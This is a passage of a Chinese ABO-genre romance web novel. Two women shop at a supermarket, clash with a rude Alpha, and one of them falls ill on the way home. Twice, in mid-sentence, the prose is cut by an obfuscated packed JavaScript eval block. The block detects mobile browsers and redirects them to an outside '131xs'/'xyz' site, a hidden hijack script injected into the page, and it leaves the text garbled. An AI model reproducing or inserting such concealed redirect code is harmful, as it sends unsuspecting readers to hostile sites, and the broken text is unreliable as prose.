她手指轻轻缠绕着江念渝的长发,好像她被纠葛下沉的思绪。 “她是我之前养的一只小狗。” 不知道是不是刚刚睡醒的原因,江念渝感觉这人的声音好像在水里泡过,听起来湿漉漉的。 连着她的不悦也被这声音泡湿,随着虞清垂下的瞳子,沉了下去。 江念渝怎么也没想到恋恋会是一只小狗。 同时也有种预感盘踞在她心里,一种并不好的预感—— “她已经死掉了。”虞清声音很轻,温吞的吐息里满是潮湿,“我也已经好久没有梦见它了。” 江念渝这才意识到。 虞清湿漉漉的声音,是她压抑着的泪水。 失去记忆的江念渝好像也失去了前二十多年的认知,她现在对世界有着诸多的不解。 她像一个安静的旁观者,注视着、允许着一切发生,直到她能明白其中逻辑。 在这个清晨到来之前,江念渝一点也不觉得这有什么问题。 可就在她一如既往的静静观察虞清,静静分辨她脸上的变化,并顺利分析出什么的时候,她却感觉到一种无所适从。 怔忡,迷茫。 她的手就垂在身侧,虚虚扣着。 江念渝觉得它应该有什么作用,可她不知道她该拿它来做什么。 房间里一下好安静,好像又回到了刚刚虞清沉睡在美梦中的时候。 这一次,江念渝枕着虞清的手臂,愿意让虞清再在梦里多呆一会。 可虞清却知道,如果恋恋真的来到了她梦里,她一定不希望自己醒来时难过悲伤。 回忆纵然美好,但不会困住她。 就像她跟恋恋。 就像她拥有过的很好的养父母。 人都是要向前看的。 她也会给自己寻找一个接一个的支点。 就像对自己没有恶意的妹妹。 会一次次舔舐掉自己眼泪的小狗和与它的回忆。 以及现在…… 蝉鸣不断穿梭在盛夏里,屋子里凉风徐徐流淌。 虞清看着跟自己躺在一起的江念渝,掌心虚握,仿佛里面还残留着刚刚依偎的温暖,让这个陌生的abo世界,也没有那么差。 “待会我们去超市吧。”虞清将低落的情绪主动挥散,计划起今天的日程,“明天我要上班,今天我们去把后面几天要吃的东西都买齐,这样你自己在家也有东西吃。” 朗日高悬,日光明灿灿的晃过江念渝的视线。 虞清的眼睛跟平日一样亮了起来,像个加满油的小机器人。 她的手臂还贴在江念渝的脸上,让江念渝感觉她在捧着她的脸。 可江念渝却有些茫然。 她没能跟上虞清的情绪转换,脑袋里又冒出那天虞清在睡梦中痛骂加班的声音。 为什么人会在感到心痛的同时,又能充满希望呢? 为什么工作这么的令人讨厌,还这样让人有动力? 不过这不要紧。 后来江念渝都懂了。 通过虞清。 . 工作日将生活在城市里的人圈在工位,超市都略显空旷。 虞清原本还担心江念渝会对陌生的环境感到不安,没想到今天情况正好。 她像个带自家小猫出门社会化的家长,跟着江念渝穿行在货架前,让她慢慢挑选商品。 如果江念渝不会总从货架上精准挑选到最贵的东西就更好了。 “这个。” 又一次,江念渝在冷柜里精准的拿出了两盒最小也最贵的冰淇淋,放到了虞清面前。 其实只要江念渝选的东西不是贵的过分,虞清是很乐意接受的。 毕竟她挑的东西品味都不错。 可此刻虞清看着标签上的价格,不犹豫都对不起她月入五千五的工资:“先买一个尝尝吧。” 江念渝视线低垂,好像有什么遗憾。 她看了看手里的冰淇淋,还是听话的把其中一个放了回去:“好。” “亲爱的,我记得你喜欢吃抹茶生巧对不对,要不要来一组?” “好呀,谢谢亲爱的。” “谢谢就不用了,就是亲爱的你可得记住,以后不要找什么Beta。拿着政府给的补贴,什么都给你买不起。” …… 原本虞清对小情侣腻腻歪歪的一口一个“亲爱的”没什么好说的。 她听不惯走就是了,却不想那个男的说这么一堆,结果是冲她来的。 虞清握住小推车把,正要开口,那个男人就高声表示:“不好意思,买不起不要挡别人的路可以吗?” 虞清立刻转身,不屑的瞥了Alpha男一眼:“这里有人吗?” Alpha男怔了一下,过了半秒才反应过来,顿时高呵:“喂,你什么意思!” 虞清依旧神色淡淡,轻蔑的安抚男人:“别这么大火气,怎么Alpha连自己的脾气都管不住?难怪要买这么多冰淇淋,啧啧。” “你!” “我警告你,这里可是有监控的。” Alpha男控制不住自己的情绪,眼看着气急败坏。 虞清轻蔑的提醒她,不怕他怎样,只瞥了他一眼,接着就带江念渝离开了。 冷气让盛夏浮动活跃的气息沉寂,难闻的气味却弥久不散。 走出去没几步,江念渝轻声说道:“我不喜欢那个Alpha说的话。” “我也不喜欢。”虞清附和,“所以我骂他了。” 江念渝抬眼看向虞清,浅色的瞳子被一侧货架的阴影晕染,显得有些冰冷。 她在虞清注意到自己的目光前转移了视线,看了看推车里的冰淇淋,说:“我想去换个口味。” 虞清刚要点头,就看到那个Alpha男还站在冰柜前,立刻表示:“我陪你。” “我想自己去。”江念渝摇头。 她说话的声音很轻,却又有种说不上来的坚定。 就好像长在天台上,正试探着接触这个世界的小花。 虞清感觉如果不让江念渝自己去,会打击到江念渝好不容易向外界迈出第一步的自信心。 虽然她很不放心,但还是答应了:“那你小心。” 江念渝认真点头,拿起冰淇淋朝冷柜走去。 超市里此起彼伏的音乐掩盖了车轮的声音,堆成小山的促销商品货架后露着个脑袋。 虞清牢牢盯着,时刻准备万一Alpha男要欺负江念渝,她好立刻冲过去。 只是虞清没想到,江念渝换冰淇淋的过程极其顺利。 那个Alpha什么也没做,江念渝只是稍在冷柜前跟他擦肩,就平安无事的换好了冰淇淋。 冷气沿着一侧的冷柜习习吹来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785390|174862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞清松了口气。 她有种自己养的小狗能独立完成什么事的欣喜,看着朝自己抬手示意的江念渝笑了笑。 那粉色的盒子贴着细长的手指,跟江念渝平日呈现出的清冷感有格外的反差。 虞清看着回来的江念渝,只觉得她步伐轻盈,眼里似乎有笑意。 “你喜欢草莓?”虞清想了解江念渝的喜好。 “之前说不上喜欢。”江念渝对虞清浅浅笑着,好像在打什么哑谜,“但现在也不是多讨厌了。” 虞清听得云里雾里,怎么之前说不上喜欢,现在就喜欢了呢? 难道失忆也会影响一个人的口味? 虞清不解,也没继续深究。 只是接下来,她往推着的小车堆的东西逐渐色调变粉起来。 甚至江念渝拿了一盒不应季的草莓,她都没有犹豫。 只是当虞清看着账单草莓旁那独独突出来的数字,恍惚间好像看到一张红色钞票正朝她挥手离去,跟她的心头血一个颜色。 “你们超市是不是讹人!” “先生,这东西的确是从你身上扫出来的。” “从我身上扫出来的就是我拿的了!……我怀疑你们超市给我做局!” “先生,麻烦您跟我们去保卫科一趟吧。” …… 来不及心痛,另一边出口的争吵声就吸引了虞清的注意力。 她立刻朝声音传来的方向看去,就看到刚才遇到的那个Alpha男被超市保安拦下来了。 而在他身后的安检门正不断的闪红灯,警报滴滴作响。 “发生什么事了?”虞清好奇。 “不知道。”江念渝闪着她婴儿蓝的眼睛,轻轻摇头。 这个人神色淡然,看着远处混乱的情形,脸上又透着点不容易被人察觉到笑意。 就像只刚刚守护了自己宠物主人的小猫。 “你动我试试!” “嘭!” “Alpha打人了,快报警!” “我,我没有啊!你,你自己撞到我拳头上来的!” …… 争执因为挥过去的拳头变了性质,惊呆了周围的所有人。 保安捂着自己的鼻子,忙招呼周围的人。 Alpha男自己好像也傻了,看着不断朝他后退的女友,手足无措。 “活该。”虞清为了保护好自己,这些天看了点这个世界的法律,“公民公约Alpha篇第一百五十条可都写了,Alpha寻衅滋事,是要被刑拘的。” “看来Alpha也不是什么优等生物。”江念渝淡声,转头看向虞清,“远不如Beta。” 虞清对这句夸赞很受用:“那是当然。” 超市的长灯带落在虞清的头上,好像她的光环。 她骄傲的像只昂着脑袋的小猫,叫江念渝嘴角轻弯。 夏日炎炎,虞清不想开火,跟江念渝买了超市招牌凉面回家吃。 两个人就这样拎着一大一小两个袋子往地下一层打车点走,昏暗的光线描绘着的是她们并肩而行的影子。 “不是,为什么要来超市啊,她受伤不去医院的吗?” “你个傻子,她为什么受的伤?还敢去医院。” “切,Omega能有多少脑子,碰见个Alpha不就走不动道了?” …… 男人的交谈隐隐从远处传来,直接钻进了江念渝敏锐的耳朵里。 她握着购物袋的手兀的一紧,在转弯处看到两个戴着墨镜的男人,西装革履,就要跟她们打照面。 “还要4……” 虞清看着刚接单的司机,想问江念渝东西重不重,要不要自己拿。 接着她就被一股力量推到了墙上。 江念渝又揪住了虞清的衣角。 接着,结结实实的把自己塞进了虞清的怀里。 10. 第十章 老旧的灯忽明忽暗,悬在虞清头顶。 她看着埋进自己怀里的人,整个人都僵住了。 地下一层听不见树梢不知疲惫的蝉鸣,冷气穿透了墙壁,渗进这里的每一个角落。 虞清想这大概是最能让人冷静的地方,如果没有胸前不断落下的热意的话。 江念渝埋得结实,虞清的防晒衣罩住了她大半的身体。 她呼出的气息释放不出去,全都锁在了这狭小的空间,扑簌簌的,像是要融进虞清的心口。 分不清是太痒,还是太热,虞清好半晌才从这种感觉中挣扎出来,找回自己的理智。 她滚了滚喉咙,想问江念渝怎么了。 可湿冷的光线下,她白色的防晒衣正随着某人细长的手指轻轻颤抖。 这样的场景虞清见到过。 就在前不久的医院里,江念渝想起她忘记的记忆时。 周围算不上太安静,车子不断行驶穿梭,路人的脚步声也由远及近。 虞清却没有说话,只是将自己的衣服顺势包住了想要藏起来的江念渝。 就像她一次又一次给江念渝拉上病床周围的帘子。 “哎呦,这不大海捞针吗,老夫人怎么越老越糊涂了……” “谁说不是呢,折腾死人了。” “随便应付应付得了,希望咱们遇不到她吧。” …… 男人们叹了口气,说着虞清听不懂的话,路过了她们。 她没在意这两人,只是静静的陪江念渝度过这糟糕的时刻,直到几秒后,江念渝放松下来。 “好点了吗?”虞清注意到江念渝稍稍松开攥着她衣角的手,轻声询问她。 江念渝的视线却罕见的没有第一眼放在虞清身上。 她顺着虞清的肩膀往远处去,看着那两个西装革履的男人远去,才慢吞吞的将自己的视线游回到虞清面前。 她想她该回应虞清的关心,她也该对自己刚刚突然的行为有个解释:“……对不起,我……我好像想起了什么。” “没事儿。”虞清摇摇头,并不介意这些。 她看着江念渝的脸色不是很好,贴着隐形创可贴的小脸毫无血色,干脆把自己的防晒衣脱下来披到了江念渝肩上:“可能是这里环境太阴湿了,空气又不流通,影响到你了。” “你大病初愈,别受凉。” 这么说着,虞清还贴心的给江念渝带上了衣服上的帽子。 跟着一起被罩下的,还有她身上自己的味道。 比起刚才自己有预谋的靠近,此刻江念渝猝不及防的被虞清的味道全面包围。 连带着今早被主人难哄的心情刻意忽略的谷欠望也找到了出路,一并冒了出来。 太多属于这人的味道了。 她们提着这么多东西走过来,身上都有些出汗。 湿冷的空气被外套排除在外,只剩下最纯粹的热包裹着江念渝,包裹着她贴着抑制贴的脖颈。 密不透风。 江念渝感到一阵糟糕。 . 虞清跟江念渝走到打车点时,司机已经按时到达。 正午时间,世界被太阳晒得发闷。 从地下停车场出来的那一刹那,江念渝感觉眼前的世界有些发晕,手也跟着发软。 虞清注意到了江念渝的反应,问她:“还不舒服?” 江念渝呼吸发沉,扣着帽子的脑袋轻轻点了一下。 “不舒服就睡一会吧,到家我喊你。”虞清拍了拍自己的肩膀,示意江念渝可以靠过来。 日光透过车窗落进后来,江念渝抬起的眼神并不清明。 不知道是因为虞清的邀请,还是另外某个别的原因,江念渝犹豫也没有犹豫,乖顺的枕在了虞清的肩膀上。 空调冷气不断涤换着车子里的空气,将人缓慢起伏的温度也粉饰的平静。 虞清的味道总能让江念渝平静,她靠在虞清肩上,竟然睡了过去。 而虞清就任由江念渝靠着她,单手翻动着手机,思考的看着原身在公司的工作内容。 只有司机师傅偶尔在看向后视镜的时候,目光会停顿一下。 他眼神复杂的看着这个镇定自若的Beta,欲言,又止。 这个Beta刚刚好像问过那Omega是不是还是不舒服。 她应该知道的吧…… 应该不会有什么问题的吧…… 中午时分,市中心的路上有些堵车,十五分钟的路程走了半个小时。 等看到自己家所在的公寓大楼,虞清轻轻晃了晃江念渝的肩膀,小声喊她:“江念渝。我们到家了,江念渝。” ——“小鱼,醒醒啦,到家啦。” ——“小鱼,不要睡啦,回家妈妈给你做好吃的。” ——“小鱼……” 车子缓缓在单元楼前停下,惯性叫江念渝的肩膀晃了一下。 盛夏的日光晒得炽热,好像在人眼睛里蒙了层白翳。 江念渝朦朦胧胧的睁开眼睛,回忆伶仃,眼前逐渐清晰起来的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785391|174862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虞清关心的脸庞。 到家了。 少女清冷的眸子闪烁了一下,她沉吐出一口气,不由得对这个词产生了无限眷恋。 下车,取东西,给司机师傅关上后备箱。 虞清一气呵成,还不忘去另一侧接江念渝。 乘电梯到十二楼,阳光从窗户晒进走廊,夏日总是闷沉的让人感觉浑身湿黏。 虞清握着江念渝的手腕,觉得这个人似乎比自己怕热些,这才从开冷气的车子出来不到一分钟,她身上就热透了。 “这边的夏天是真热啊。”虞清感叹着,接着就推开了家门。 她拎着的大包小包里有不少东西是需要冷藏冷冻的,这么念叨着,就直奔厨房冰箱。 虞清看不到,被她无暇顾忌的江念渝刚步伐虚浮的走进了玄关。 她小小的脑袋还扣着刚刚虞清给她带上的帽子,阴影下,那张冷清的小脸在眼下分别晕开团异样的红。 这个家里有着比虞清的防晒衣更多,更浓郁的味道。 江念渝坐在换鞋凳上,沉沉的突出了一口气。 她笔挺的肩膀松弛的垮了下来,少见的温软。 自己这是……怎么了? 江念渝昏昏沉沉,挪着步子走到了客厅,几乎是以一种下坠的方式栽在了沙发上。 她感觉着这种柔软又可靠的感觉承托起她的身体,心里却觉得不安。 太阳穿过落地窗,明晃晃的打进她的视线。 江念渝感觉除沙发之外,世界都变成了白色的深渊,她也好像随时都能掉进去…… “江念渝。” 就在这时候,江念渝的视线里闯进了一张熟悉的脸。 虞清紧张的看着躺在沙发上的人,觉得江念渝情况很不对劲:“江念渝,你怎么了?” “我……不知道。”江念渝摇摇头,婴儿蓝的眼睛里装满了茫然。 她扣着自己的心口,只觉得自己心跳好快。 脖颈后面潮湿难耐,明明身体热的不行,却一点也不想脱掉身上虞清的外套。 “你还能不能坐……你身上怎么这么热!” 虞清扶着江念渝的肩膀,想让她坐起来,却一下感觉这人身上滚烫的吓人。 她大惊失色的脸倒映在江念渝的眼睛里,江念渝摇摇晃晃,看着虞清,看着虞清碎发下若隐若现的脖颈,一下栽到了她的身上。 她吐息如火,并不明显的尖齿轻轻探出,随着她如游丝般的声音,磨在虞清的脖子上:“虞清……我好难受。”